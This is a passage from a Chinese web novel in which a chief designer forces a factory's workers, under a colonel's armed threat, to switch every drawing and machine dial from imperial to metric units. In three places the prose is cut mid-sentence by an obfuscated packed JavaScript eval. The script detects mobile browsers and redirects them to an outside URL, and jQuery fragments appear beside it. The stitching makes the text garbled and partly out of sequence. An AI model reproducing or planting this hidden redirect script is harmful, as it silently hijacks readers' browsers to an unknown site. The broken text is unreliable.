它让工人们在感到无比震撼的同时,也第一次对“国家力量”这四个字,有了最直观、最真切的体悟。 刘师傅端着饭缸,站在人群中,手在微微发抖。 他不是害怕,而是激动。 一种难以言喻的、混杂着巨大责任与无上荣耀的激动,正剧烈地冲击着他的心脏。 “工装设计室……室主任……” 他喃喃自语,这几个字仿佛有千斤重,压得他有些喘不过气来。 他只是一个干了四十年活计的老钳工,一辈子最大的官就是个小组长,可现在,他却要执掌一个由总装备部上校亲自下令成立的、享受“特一级标准”的独立办公室。 这种感觉,荒诞得像一场梦。 就在这时,路承舟走到了他的面前。 “刘师傅,” 他递过去一个本子,那是一本崭新的、有着硬质牛皮封面的笔记本,以及一支笔尖闪亮的英雄牌钢笔,“这是你们设计室的第一个工作日志。” 刘师傅下意识地伸手接过,那本子入手沉甸甸的,带着一种郑重的分量。 “‘傻瓜式’生产线,这个目标很宏大,但我们要一步一步来。” 路承舟的声音平静,却有着安定人心的力量,“我们的第一个目标,就是解决柴油机缸体和缸盖的平面度问题。” 他用手指了指车间中央那台巨大的龙门刨床。 “现在,我们依靠的是老师傅的手感,用塞尺一点点地找平,效率低,而且精度全凭经验。我需要你们设计室,在一周之内,拿出一套全新的研磨工装。我要的效果是,任何一个学徒工,只需要把缸体放上去,按下电钮,出来的成品平面度误差,就必须小于0.05毫米。” 小于0.05毫米! 刘师傅倒吸一口凉气。 这已经是接近极限的精度要求了! 但他没有说“不可能”,那张天才的夹具草图,已经彻底摧毁了他脑子里“不可能”这三个字。 他只是重重地点了点头,眼神里燃烧起一团名为“挑战”的火焰。 “路总师,您放心!我们就是不睡觉,也把这玩意儿给您啃下来!” “我不希望你们不睡觉。” 路承舟摇了摇头,纠正道,“我希望你们能建立一套科学的、可复制的研发流程。我需要的是一个能够源源不断解决问题的体系,而不是靠几个人的拼命。” 他顿了顿,目光转向了另一边,落在了那位始终沉默、神情复杂的老总工程师身上。 “江总工。” 路承舟走了过去,语气充满了尊重。 江建国身子一震,抬起头,眼神有些茫然。 他看着眼前这个年轻人,这个名义上已经成为自己上司的年轻人,一时间竟不知道该如何自处。 他刚刚亲眼目睹了路承舟如何建立权威,如何与军方大佬平等对话,如何用一个思想就撬动了整个车间的未来。 他忽然感到一种强烈的、被时代抛弃的无力感。 “设计室负责攻克技术堡垒,但一条生产线的灵魂,是流程与品控。” 路承舟的声音诚恳而清晰,“这方面,您是整个红星厂最有经验的专家。所以,我需要您来做三件事。” 江建国下意识地挺直了腰背。 “第一,重新梳理我们现有的生产流程,把所有不合理、不科学的环节都找出来,形成一份整改报告。第二,建立一套全新的、精确到每一个螺丝钉的质量检验标准,并且亲自培训出一支铁面无私的质检队伍。第三,也是最重要的,那些新来的学徒工,他们的技术培训,要由您来总负责。” “设计室是矛,负责突破。而您,江总工,就是我们的盾,负责稳固我们的后方阵地,保证我们打下来的每一寸江山,都能守得住。” 矛与盾。 这个比喻,精准地定义了两个人的分工,也瞬间驱散了江建国心中所有的迷惘与失落。 他不是被淘汰了,他只是从一个冲锋陷阵的将军,转变成了一位运筹帷幄、镇守后方的帅才。 路承舟不仅给了他工作,更给了他一个无法被替代的位置和与之匹配的尊重。 江建国的眼眶再次湿润了。 他看着路承舟,郑重地、深深地点了点头,声音因激动而有些沙哑。 “路总师……你放心!我这把老骨头,就是拼了命,也给你把这个‘后方’守得固若金汤!” 新的秩序,在三言两语间,被迅速建立起来。 技术攻关有刘师傅的工装设计室,生产管理有江建国的流程品控。 一个全新的、高效的、权责分明的指挥体系,如同一台精密的机器,开始缓缓转动。 然而,就在这时,一名士兵捧着一个木箱,快步走到了路承舟面前。 “报告路总设计师!这是刚刚从后勤仓库里调拨来的高精度量具!” 箱子打开,里面铺着厚厚的绒布,静静地躺着几件崭新的、闪烁着金属光泽的德国造卡尺和千分表。 那优雅的工业设计,那清晰的钢印刻度,无一不散发着一股“精密”的气息。 刘师傅眼睛一亮,立刻凑了上去,小心翼翼地拿起一把游标卡尺,入手冰凉而顺滑。 他试着推动了一下尺框,那几乎没有一丝旷量的、如丝般顺滑的移动感,让他这位老钳工发出一声满足的喟叹。 “好东西!这可真是好东西啊!” 可就在他准备用这把卡尺去测量一个零件时,他脸上的笑容,却猛然僵住了。 “嗯?” 他看着卡尺上那陌生的、以“mm”为单位的刻度,又低头看了看手中那张老图纸上标注的、以“寸”为单位的尺寸,眉头瞬间拧成了一个疙瘩。 “路总师……这……” 刘师傅的脸色变得有些难看,“这是公制的……咱们厂里所有的图纸和机床刻度盘,用的全是英制。这……这根本对不上啊!” 一句话,让刚刚燃起的热烈气氛,瞬间冷却了下来。 所有人都意识到了这个看似微小、实则致命的问题。 公制与英制。 两种完全不同的度量体系,就像两种无法交流的语言。 再精密的德国量具,如果不能换算成生产线上通用的语言,那它就是一堆废铁。 难道要让所有工人,在每一次测量时,都拿着计算器去换算那个该死的“25.4”吗? 那样的生产线,别说“傻瓜式”了,恐怕连“天才”都玩不转! 一场刚刚开始的伟大变革,似乎在它的第一步,就遇见了一堵最基础、也最坚固的墙。 雷振宇也走了过来,眉头紧锁。 这是一个纯粹的技术细节问题,超出了他军事指挥的范畴。 他看向路承舟,想看看这位总设计师,要如何解决这第一道难题。 路承舟的脸上,却依旧没有任何波澜。 他只是拿起了那把德国卡尺,又拿起了一张老旧的英制图纸,平静地开口。 “一个国家,不能有两套度量衡。” “一个工厂,更不能。” 他抬起头,环视着所有人,声音不大,却像一颗钉子,清晰地钉进了每个人的脑海里。 “从今天起,‘强心’项目,废除英制,全部统一采用公制标准。” “所有旧图纸,全部重新绘制。所有机床的刻度盘,全部给我换掉。” “我不仅要造一颗‘心脏’。” 他的目光里,闪烁着一种近乎于野心的光芒。 “我还要借着这颗心脏,为我们国家的工业,立下它自己的规矩!” 第125章 度量衡之战 路承舟的声音并不响亮,却像一柄无形的重锤,狠狠砸在三号车间每一个人的心上。 废除英制,统一公制。 所有图纸重绘,所有机床换盘。 这几句话,轻飘飘地从他口中说出,掀起的却是一场精神上的十级地震。 车间里刚刚因一顿饱饭而升腾起的些许暖意,被这股寒流瞬间冲刷得荡然无存。 死寂。 一种比刚才面对军人时更加压抑的死寂,笼罩了整个空间。 如果说雷振宇的命令是来自外部的、物理层面的禁锢,那么路承舟这道命令,则是对他们内部世界的、对他们几十年赖以为生的技艺根基的彻底颠覆。 “胡闹!” 一个尖锐的声音撕裂了沉默。 开口的是焊工组的孙师傅,一个脾气火爆、满脸褶子都能夹死苍蝇的老师傅。 他把手里的搪瓷缸子重重往地上一顿,炖肉的汤汁溅了出来,他却浑然不觉。 “路总师,我敬你是个人才,可你不能拿我们这群老家伙的命根子开玩笑!” 他瞪着一双牛眼,脖子上的青筋因激动而暴起,“我十五岁当学徒,摸焊枪四十年!脑子里记的,手上凭的,全都是‘寸’!你现在让我全忘了,去用那个什么‘米’?那不是要我的命吗!” 他的话,像一颗投入油锅的火星,瞬间点燃了所有人的情绪。 “是啊!孙师傅说得对!” “机床的刻度盘,那都是跟出厂就定死的,说换就换?那精度还能要么?” “一张图纸多少个数据?全都重画,画到猴年马月去?” “这不是瞎指挥吗!” 反对的声音,从窃窃私语,迅速汇聚成了一股汹涌的声浪。 他们可以服从军人的枪,可以敬畏上校的威严,但他们无法接受自己穷尽一生练就的本事,被一句轻描淡写的话彻底否定。 这已经不是工作问题,这是对他们尊严的践踏。 江建国的脸色,一瞬间变得惨白。 他快步走到路承舟身边,压低了声音,语气里带着一丝哀求:“承舟!三思啊!这不是小事!度量衡的统一,是国家层面的大工程,我们一个厂,一个车间,怎么可能……” 他的话没说完,但意思已经无比清晰。 这太难了。 难于登天。 刘师傅也攥着那把冰冷的德国卡尺,手心全是汗。 他刚刚被任命为设计室主任,满腔热血还没烧旺,就被这盆冰水从头浇到脚。 他比任何人都清楚,将图纸上的英制单位全部转换为公制,再进行精度换算,那工作量之恐怖,足以让任何一个绘图员崩溃。 更何况,换算过程中,哪怕出现千分之一的误差,最终反映到零件上,都可能是灾难性的后果。 这是一堵墙。 一堵由数十年习惯、无数旧设备、堆积如山的旧图纸共同筑成的,看不见却坚不可摧的墙。 然而,面对这几乎要将他吞没的质疑声浪,路承舟的表情没有一丝一毫的变化。 他甚至没有去看那些群情激奋的工人。 他的目光,越过所有人,直直地落在了雷振宇的脸上。 “雷上校,” 他开口了,声音不大,却清晰地压过了所有的嘈杂,“我想问您一个问题。我们的东海舰队,是不是既有我们国产的老式驱逐舰,也有从苏联引进的新式战舰?” 这个问题突如其来,与眼前的争论毫无关系。 雷振宇皱了皱眉,但还是沉声答道:“是。” “那么,” 路承舟追问,“老式驱逐舰的火炮,用的是不是英制口径?比如76毫米炮,实际是3英寸。而苏式战舰的火炮,用的是不是公制口径?比如130毫米炮。” 雷振宇的眼神微微一凝,他似乎意识到了什么。 “没错。” “那我想请问,” 路承舟的声音陡然提高,变得锐利如刀,“战时,后勤补给,是不是要准备两种完全不通用的炮弹?我们的战士在前线流血,后勤的仓库里,却要因为这该死的‘一寸等于二十五点四毫米’,而凭空增加一倍的仓储压力、运输压力和混淆风险?” “如果有一天,一颗英制的炮弹,被错送到了公制的炮膛前,那代价是什么?” 最后几个字,他几乎是吼出来的。 字字如雷,句句诛心! 整个车间,瞬间鸦雀无声。 那些刚刚还在激烈反对的工人们,脸上的愤怒僵住了,取而代之的是一种茫然的震惊。 他们是工人,想的是自己手里的活计好不好干。 他们从未,也无法从如此宏大、如此冷酷的战略高度,去看待一个“尺寸单位”的问题。 雷振宇的身体,猛然一震! 他的呼吸,在这一刻变得粗重起来。 作为总装备部的高级军官,他比任何人都清楚路承舟这番话的分量。 那是和平时期看不见的暗流,却是战争时期足以致命的隐患! 路承舟没有停下。 他转过身,冰冷的目光扫过全场。 “你们觉得难,觉得是在要你们的命。可你们想过没有,你们今天在这里,多保留一天英制的标准,未来在战场上,可能就会有成百上千的战士,因为装备不兼容、补给跟不上而白白送命!” “你们是工人,但你们造的不是锄头,不是镰刀!是保家卫国的武器!是上了战场要跟敌人见生死的‘心脏’!” “在国防工业里,标准不统一,就是最大的渎职!是犯罪!” 他的声音在车间里回荡,带着一种不容辩驳的铁血意志。 这已经不是技术路线的争论。 这是用血与火的逻辑,强行在所有人的思想上,烙下一枚名为“国家利益”的钢印! 江建国嘴唇翕动,一个字也说不出来。 他被路承舟这番话里蕴含的巨大魄力与宏观视野,震得头皮发麻。 他终于明白,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着雷振宇那只按在枪柄上的手,和他眼中那毫不掩饰的杀气,终于,“噗通”一声,一屁股瘫坐在了地上。 度量衡之战,在它开始的那一刻,便已经结束了。 以一种最不讲道理的方式。 而它的胜利者,从始至终,连一丝笑容都没有。 路承舟只是平静地拿起那本属于工装设计室的工作日志,翻开第一页,在上面写下了第一行字:“任务一:三天内,完成所有核心部件图纸的公制化转换。” 他把本子递给已经面无人色的刘师傅。 “这是你们的第一场硬仗。” “也是我们,立下新规矩的第一步。” 第126章 第一块基石 死寂。 一种被枪口和杀意浸透的死寂,沉甸甸地压在三号车间的空气里,比钢铁本身更加沉重。 先前那场因炖肉而升起的喧闹与暖意,此刻仿佛一个被戳破的、可笑的肥皂泡,连一丝痕迹都未曾留下。 所有人都僵在原地,如同被瞬间冰封的雕塑。 他们的脸上,愤怒、不解、委屈,种种情绪还未褪尽,便被一层更深的、名为恐惧的惨白所覆盖。 雷振宇的手,依然稳稳地按在枪柄上。 那不是一个姿态,而是一种宣告。 他的眼神如同一头巡视领地的饿狼,冷酷地扫过每一张面孔,将那句无声的威胁,精准地烙进每一个人的骨髓深处。 战时怠工罪。 这五个字,拥有着超越一切道理的魔力,足以碾碎任何个人的意志。 瘫坐在地上的孙师傅,浑浊的眼球里倒映着雷振宇冰冷的轮廓。 他的嘴唇哆嗦着,喉咙里发出嗬嗬的、如同破旧风箱般的声响,却一个字也说不出来。 他那干了一辈子活计、引以为傲的火爆脾气,在这柄代表着国家意志的**面前,脆弱得不堪一击。 而这场风暴的中心,路承舟却仿佛置身事外。 他没有看瘫软的孙师傅,也没有理会众人脸上的恐惧。 他只是将那本写下了第一道任务的工作日志,递到了刘师傅的面前,姿势平稳,眼神平静。 仿佛刚才那番掀起滔天巨浪的言语,那场引来军方杀气的对峙,对他而言,不过是解决问题时一个必不可少的、毫无情绪波动的步骤。 刘师傅的身体在剧烈地颤抖。 他的目光在那本崭新的工作日志和雷振宇按在枪柄上的手之间,绝望地来回移动。 他的大脑一片空白,恐惧像无数只冰冷的手,攥紧了他的心脏,让他几乎无法呼吸。 三天。 转换所有核心图纸。 这是一个凡人根本不可能完成的任务。 这是一个圈套,一个陷阱,一个注定要让他粉身碎骨的军令状。 他想拒绝。 他想嘶吼,想告诉眼前这个年轻人这有多荒谬。 可当他的视线再次触碰到雷振宇那双不带任何感情的眼睛时,所有的反抗念头,都在瞬间化为了齑粉。 他毫不怀疑,只要自己敢说出半个“不”字,下一秒,那柄枪就会顶在他的脑门上。 最终,求生的本能压倒了一切。 刘师傅伸出那双布满老茧、曾能打磨出镜面般零件的、此刻却抖得不成样子的手,用尽全身力气,接过了那本薄薄的、却仿佛有千钧之重的笔记本。 这个动作,抽干了他所有的力气。 “好。” 路承舟点了点头,仿佛一切本该如此。 他收回手,转身走向了另一边,开始检查那些刚刚被搬进来的德国量具,动作专注而认真,似乎那场关乎几十人命运的对峙已经彻底翻篇。 他这种极致的冷漠,这种对旁人情绪的彻底无视,比雷振宇的威胁更令人心寒。 车间里的气氛,依旧凝固如冰。 没人敢动,没人敢说话。 刘师傅捧着那本工作日志,像捧着一块烧红的烙铁,呆立在原地,脸上血色尽失。 他身后,钳工组的几个老师傅,也同样面如死灰。 他们被选中了,成为了那只被拎出来儆猴的鸡。 就在这片绝望的沉默中,江建国动了。 他那张苍老的脸上,同样写满了惊魂未定,但他还是强迫自己迈开了脚步。 他走到刘师傅身边,伸出微微颤抖的手,轻轻拍了拍他的肩膀。 “老刘……” 江建国的嗓音干涩沙哑,“别……别自己扛着。” 他深吸一口气,目光扫过那几个同样不知所措的钳工师傅,又看向了不远处其他工种的技术骨干。 “承……路总师说的,是‘工装设计室’的任务,不是你一个人的任务!” 他的声音不大,却像一根针,刺破了这片死寂,“老张,老李,你们是钳工组的顶梁柱!还有绘图室的小王,你算得快,画得好!都过来!” 被点到名的人浑身一颤,下意识地向后缩了缩。 江建国看在眼里,心头一痛,语气却猛地严厉起来:“都什么时候了!躲是能躲过去的吗?这是军令!完不成,我们所有人都得跟着掉脑袋!” 他一把从刘师傅手里夺过那本工作日志,翻开,重重地拍在旁边的工作台上。 “都过来!现在就分工!把所有‘强心’项目的英制图纸,全部找出来,按部件分类!缸体、缸盖、曲轴、活塞……一个一个来!小王负责计算换算,老刘你们几个负责校对和绘制!马上!现在!” 这位老总工程师,在这一刻,终于拿出了他镇守后方的“盾”该有的决断与担当。 他的话,如同一道鞭子,抽醒了那些被恐惧**灵魂。 是啊,躲不掉的。 在这座被铁幕笼罩的囚笼里,他们早已是一根绳上的蚂蚱。 与其等死,不如找条活路。 绘图室的小王第一个走了过来,他脸色煞白,但眼神里却多了一丝决绝。 紧接着,老张、老李也咬着牙,挪动着僵硬的脚步围了过来。 一个以江建国为临时核心,以刘师傅技术团队为主力的攻坚小组,在巨大的恐惧压力下,被迫开始运转。 雷振宇冷眼旁观着这一切,按在枪柄上的手,终于缓缓松开。 他要的,就是这个效果。 思想的统一,要靠路承舟。 而行动的统一,则必须用铁和血来浇筑。 他转头看向那间已经被清空的工具仓库,对着身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358663|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的参谋一摆头:“带他们过去。照明、桌椅、饮水,立刻全部配齐。告诉炊事班,从现在起,二十四小时供应热饭热菜。谁需要提神,咖啡、浓茶、香烟,要什么给什么。” 他顿了顿,补充了一句:“但是,给我派两个兵,在门口守着。除了上厕所,谁也不准出来。” 威逼与利诱,大棒与胡萝卜。 这位上校,将人心的掌控**于股掌之间。 就在刘师傅等人被半“请”半“押”地带向那间崭新的“工装设计室”时,路承舟的声音再次响起。 “江总工,请留步。” 江建国停下脚步,转过身来。 路承舟走了过来,将一张刚刚画好的草图递到他面前。 那上面,是一个结构复杂的金属刻度盘。 “图纸公制化,只是第一步。” 路承舟平静地说道,“软件解决了,硬件也要跟上。我们不能让工人一边看着公制图纸,一边去操作英制的机床,那会出大乱子。” 江建国看着图纸,瞳孔骤然一缩:“这是……机床的替换刻度盘?” “对。” 路承舟点头,“我们没有时间等上面配发,也没有地方去采购。所以,我们自己造。” 他点了点图纸上一个精密的齿轮结构。 “这是给龙门刨床设计的。它的核心难点,在于刻度和齿轮的啮合精度。一旦出现误差,整台机床的精度就全毁了。” “所以……” 路承舟抬起头,看向江建国,“在刘师傅他们攻克图纸难关的同时,我需要您,带着铸造车间和热处理车间的师傅们,把这些新的刻度盘,给我造出来。” “图纸是灵魂,刻度盘就是骨骼。灵魂与骨骼,必须同步进行。” 江建国只觉得一阵天旋地转。 如果说转换图纸是地狱级的任务,那么在如此短的时间内,依靠现有设备自制出符合精度要求的机床核心部件,那简直是连地狱都不敢想象的疯狂! 他张了张嘴,那句“不可能”就在嘴边,可当他看到路承舟那双古井无波的眼睛时,却又硬生生地咽了回去。 他知道,在这个年轻人面前,“不可能”是最无意义的词汇。 他没有选择。 他只能接过那张滚烫的图纸,如同接过另一道催命符。 “我……我去安排。” 路承舟点了点头,仿佛又完成了一件微不足道的小事。 他看着江建国和刘师傅两拨人,分别走向了不同的、却又同样艰难的战场。 一个崭新的秩序,在经历了最血腥的破局之后,终于开始铺设它的第一块基石。 而他,这位总设计师,则站在车间的中央,目光望向了那台巨大的、沉默的发动机原型机。 图纸与刻度盘,只是开始。 真正的大戏,还远未上演。 第127章 无声的战场 夜色,如同融化的沥青,浓稠而沉重地灌满了三号车间的每一个角落。 白日里那场由炖肉香气和军人杀气交织上演的剧烈风暴,此刻已然平息。 喧嚣退去,只剩下一座钢铁森林在黑暗中沉默地呼吸。 冰冷的机床,巨大的龙门吊,都在阴影里蛰伏成一头头远古巨兽的轮廓,散发着无声的威压。 然而,在这片广阔的死寂之中,却有两处孤岛,燃烧着绝望的光。 一处,是那间刚刚被暴力清空的工具仓库,如今它有了一个新的名字工装设计室。 刺眼的白炽灯光从窗户里泼洒出来,将门外地面照得雪亮,也照亮了门口那两名**士兵纹丝不动的身影。 他们像是两尊门神,守卫着这方小小的天地,也囚禁着里面的人。 室内,烟雾缭绕。 呛人的烟味混杂着崭新绘图板的木香、墨水的气味,以及一种名为焦虑的、无形的酸腐气息,凝固在空气里。 刘师傅和他手下最得力的几名匠人,连同绘图室那个叫小王的年轻人,如同被捕捞上岸的鱼,围着一张巨大的绘图板,大口大口地喘着气,眼神却空洞无神。 在他们面前,摊开着一张缸盖的旧图纸。 那上面密密麻麻标注着上百个英制尺寸,每一个数字,每一条公差带,都是他们过去几十年里闭着眼睛都能摸准的信条。 而现在,这些信条成了一串串需要被翻译的、充满了陷阱的异国密码。 “三又十六分之七寸……” 绘图员小王握着铅笔,指尖因为用力而发白,他的声音干涩得像是被砂纸打磨过,“乘以二十五点四……等于九十六点八三七五毫米。” 他将这个数字写在草稿纸上,然后抬起布满血丝的眼睛,望向刘师傅。 “刘师傅,这个数……我们取多少?图纸要求精度是正负千分之五寸,换算过来就是正负零点一二七毫米。我们是取九十六点八四,还是九十六点八?” 这个问题,如同一记闷锤,敲在每个人的心上。 刘师傅没有回答。 他只是死死地盯着那个数字,额角的青筋一跳一跳。 这根本不是一个简单的四舍五入问题,这是一个工业体系的底层逻辑冲突。 英制体系下的公差,是基于分数和经验的产物,而公制体系,则是建立在严谨的十进制逻辑之上。 强行转换,必然会在精度上产生无法弥合的缝隙。 这个缝隙,可能只有零点零几毫米,微小到肉眼无法分辨,可当上百个这样的缝隙累积在一台精密的发动机上时,其结果就是灾难。 “先……先按九十六点八四算。” 旁边钳工组的老张沙哑地开口,他狠狠吸了一口烟,试图用尼古丁麻痹自己快要炸开的神经,“后面的尺寸,再看情况调整。” “不能调!” 刘师傅猛地一拍桌子,声音嘶哑地低吼起来,“你这里调一点,那里调一点,最后所有的孔位、所有的配合间隙,就全都乱了套!这台发动机装起来,要么是漏气的筛子,要么就是一堆动都动不了的废铁!” 老张不说话了,只是将烟头狠狠地摁灭在烟灰缸里,溅起一串火星。 绝望,像潮水般漫了上来。 他们第一次如此清晰地感受到,自己引以为傲的“手艺”和“经验”,在严酷的、不讲情面的科学体系面前,是何等的苍白无力。 他们就像一群习惯了用步丈量土地的农夫,被强行要求去理解微积分。 路承舟是对的。 这个念头,如同鬼魅,不受控制地从刘师傅心底升起,让他感到一阵彻骨的寒意。 那个年轻人,用最残忍的方式,撕开了他们赖以为生的那层虚假繁荣的遮羞布,逼着他们直面这个国家工业最虚弱、最不堪的内核。 标准! 没有统一的标准,一切都是空中楼阁。 可明白这个道理,与跨越眼前的天堑,是两回事。 另一座灯火通明的孤岛,在铸造车间的一角。 江建国没有待在办公室里,他站在巨大的熔炉旁,灼热的气浪将他的白发吹得狂舞。 他手中紧紧攥着那张刻度盘的草图,图纸的边缘已经被汗水浸得微微卷起。 他的面前,站着铸造车间和热处理车间最好的几个老师傅。 他们的脸上,同样写满了抗拒与茫然。 “江总工,这不是开玩笑吗?” 铸造车间的主任,一个身材壮硕的汉子,满脸的不可思议,“您看看这上面的齿轮,模数小得跟米粒一样!这种精度的齿轮,那是仪表厂用精密机床一点点磨出来的!我们这儿,只有傻大黑粗的砂型铸造,怎么可能做得出来?” “是啊,江总工。” 热处理的老师傅也连连摇头,“就算铸出来了,也是个废品。淬火的时候,这么小的齿,热胀冷缩不均匀,百分之百要变形、要开裂!神仙来了也保证不了精度!” 江建国沉默地听着,没有反驳。 他比任何人都清楚,他们说的是事实。 路承舟扔给他的,是一个彻头彻尾的、违背了现有工艺规律的难题。 但他没有退路。 他想起了路承舟那双平静得可怕的眼睛,想起了雷振宇那只按在枪柄上的手。 他深吸一口气,灼热的空气涌入肺里,带来一阵刺痛。 “我知道难。” 他的声音不大,却带着一种不容置疑的疲惫与决绝,“但这是死命令,我们没有别的选择。” 他抬起头,目光扫过众人。 “常规的法子走不通,我们就想非常的法子。砂型铸造不行,我们就试试失蜡法!用石膏做模,用蜡做原型,一点一点地雕!热处理容易变形,我们就改变工艺,先粗加工,再进行调质处理,最后再上磨床精修!” “我不管你们用什么办法,三天之后,我要看到第一块合格的刻度盘样品。” 他将那张图纸拍在工作台上,发出沉闷的声响。 “这是我们的活路,也是我们的死路。怎么走,你们自己选。” 说完,他便不再言语,只是转身,用那双浑浊却坚定的眼睛,死死地盯着熔炉里那片翻滚的、刺眼的橘红色铁水。 他将自己的后背,连同所有的压力,都留给了身后的众人。 夜,越来越深。 当炊事班的战士用保温桶抬着热气腾腾的夜宵走进“工装设计室”时,迎接他们的,是一屋子的行尸走肉。 饭菜依然丰盛,是加了肉臊的汤面,香气扑鼻。 可这一次,再没人有心思去品尝。 人们机械地接过饭碗,机械地往嘴里扒拉着,眼睛却始终没有离开那张被各种红色标记涂改得面目全非的图纸。 食物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358664|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香气,无法穿透他们心中那层由恐惧和绝望筑成的厚茧。 就在这时,办公室的门被推开了。 路承舟走了进来。 他身后没有跟着雷振宇,只有他一个人。 他一出现,室内原本就已凝固的空气,仿佛瞬间被抽干,变成了真空。 所有人的动作都停了下来,端着饭碗,僵在原地,像一群被蛇盯住的青蛙。 路承舟没有理会众人,他径直走到绘图板前,目光在那张草稿纸上扫了一眼。 “九十六点八三七五。” 他轻声念出了那个数字,声音里没有任何情绪,“你们还在为这个数字头疼?” 没人敢回答。 他拿起一支红色的铅笔,没有在缸盖的图纸上修改,而是在旁边空白处,画了一个简单的示意图那是发动机缸体、缸垫、缸盖三者结合的截面。 “你们的思路,从一开始就错了。” 他的声音平静而清晰,像手术刀划开皮肤。 “你们想的是如何精确地转换一个孤立的尺寸。而我要的,是一个体系内的‘相对精度’。” 他用笔尖点了点图纸。 “这个孔位的绝对尺寸是多少,不重要。重要的是,它和另外三个螺栓孔形成的那个矩形,必须是完美的。缸盖上的孔,和缸体上的孔,它们的位置误差,必须小于零点零二毫米。” “所以,不要去纠结那个该死的‘二十五点四’,忘掉它。” 他抬起头,目光扫过众人呆滞的脸。 “以缸体的第一个定位孔为基准原点,建立我们自己的坐标系。所有的尺寸,都基于这个原点去计算相对位置。这样一来,无论英制还是公制,都只是一个符号。我们要保证的,是这个坐标系本身的精确。” 话音落下,满室皆静。 刘师傅和那几个老师傅,如同被一道闪电劈中了天灵盖,浑身剧震! 坐标系! 相对精度! 这个看似简单的概念,却像一把钥匙,瞬间打开了一扇全新的大门! 他们之前所有的困境,都源于试图在两种不同的语言之间进行生硬的翻译。 而路承舟,却直接创造了一种凌驾于两种语言之上的、全新的底层逻辑! 他们还在一笔一划地学外语,而路承舟已经写出了语法! “我不管你们用什么方法,绘图,还是计算。” 路承舟放下铅笔,语气淡漠。 “明天早上,我要看到缸盖的公制图纸,是基于坐标系绘制的成品,而不是这张废纸。” 说完,他转身就走,没有一句多余的鼓励,也没有一丝一毫的温度。 他来,只是为了修正一个错误,然后,留下一个更严苛、却也更清晰的目标。 直到他的背影消失在门外,刘师傅才猛地回过神来。 他看着那张画着坐标系的草稿,又看看自己面前那碗已经坨掉的汤面,眼中第一次,迸发出一种混杂着恐惧、羞愧,以及一丝病态亢奋的复杂光芒。 他一把推开饭碗,抓起铅笔,声音因极度的激动而变得尖利。 “都别吃了!重来!全部重来!” “小王,建立坐标!老张,老李,我们重新校对每一个孔的相对位置!快!” 绝望的战场上,终于照进了一缕微光。 尽管那光,依旧冰冷刺骨。 第128章 燃烧的夜晚 门在身后关上,路承舟离去的脚步声消失在走廊尽头,那股抽干了室内所有空气的绝对低温也随之撤离。 “呼”不知是谁,第一个长长地、虚脱般地吐出了一口浊气。 这声喘息仿佛一个信号,瞬间打破了死寂。 整个工装设计室里的人,像是刚从深水中挣扎上岸,开始剧烈地、贪婪地呼吸起来。 汗水,早已浸透了他们贴身的工装,此刻被夜风一吹,冷得刺骨。 刘师傅依旧保持着那个僵硬的姿势,呆呆地看着路承舟在草稿纸上留下的那个简陋却直指核心的坐标系示意图。 他的大脑,像一台过载后终于重启的机器,正以一种前所未有的速度疯狂运转。 坐标系。 相对精度。 基准原点。 这些词汇,他并非第一次听说,在某些苏联专家的技术手册里也曾见过。 可它们一直都只是些遥远的、抽象的概念,与他那套依靠塞尺、经验和肌肉记忆构建起来的手艺世界,隔着一层无法穿透的壁垒。 而就在刚才,路承舟用最简单、也最粗暴的方式,将这层壁垒彻底砸碎了。 他不是在翻译,他是在立法。 他不是在解决一个尺寸换算问题,他是在颠覆一套生产的哲学! “**……” 钳工组的老张,一个五十多岁的汉子,此刻双眼通红,嘴唇哆嗦着,竟爆出了一句粗口。 他不是在骂人,那是一种混杂着巨大震惊、羞愧与某种醍醐灌顶般狂热的、最原始的情绪宣泄。 他猛地一把抢过刘师傅手中的铅笔,指着图纸上一个复杂的油路孔位,声音嘶哑地吼道:“我明白了!我明白了!怪不得!怪不得我们以前加工这批缸盖,十个里面总有两三个油压不稳,原来根子在这儿!” “我们一直以为是钻孔的时候手抖了,是机床有旷量!狗屁!是我们从一开始,就没一个统一的‘尺’!每个孔都是单独量的,差之毫厘,凑在一起,就谬以千里了!” 这番话,如同滚油中泼入一勺冷水,让整个房间瞬间炸开了锅。 所有老师傅的脸上,都浮现出相似的、见了鬼一般的表情。 他们脑海中无数个百思不得其解的加工难题,无数次失败的零件报废,在“坐标系”这个概念的照耀下,瞬间找到了那个隐藏至深的魔鬼。 那不是技术问题,是标准问题,是地基从一开始就是歪的! 羞愧。 一种强烈的、无地自容的羞愧感,攫住了每一个人的心脏。 他们引以为傲几十年的“老师傅经验”,在真正的工业科学体系面前,竟显得如此原始、如此可笑。 而紧随羞愧而来的,是更深层次的恐惧。 对路承舟的恐惧。 这个年轻人,他不仅能看穿问题的表象,更能洞悉问题的本质。 他那双眼睛,仿佛能穿透钢板,直抵工业生产最核心的脉络。 在他面前,他们这些所谓的“技术骨干”,就像一群拿着木棍石斧的原始人,赤裸地站在了现代军队的审视之下。 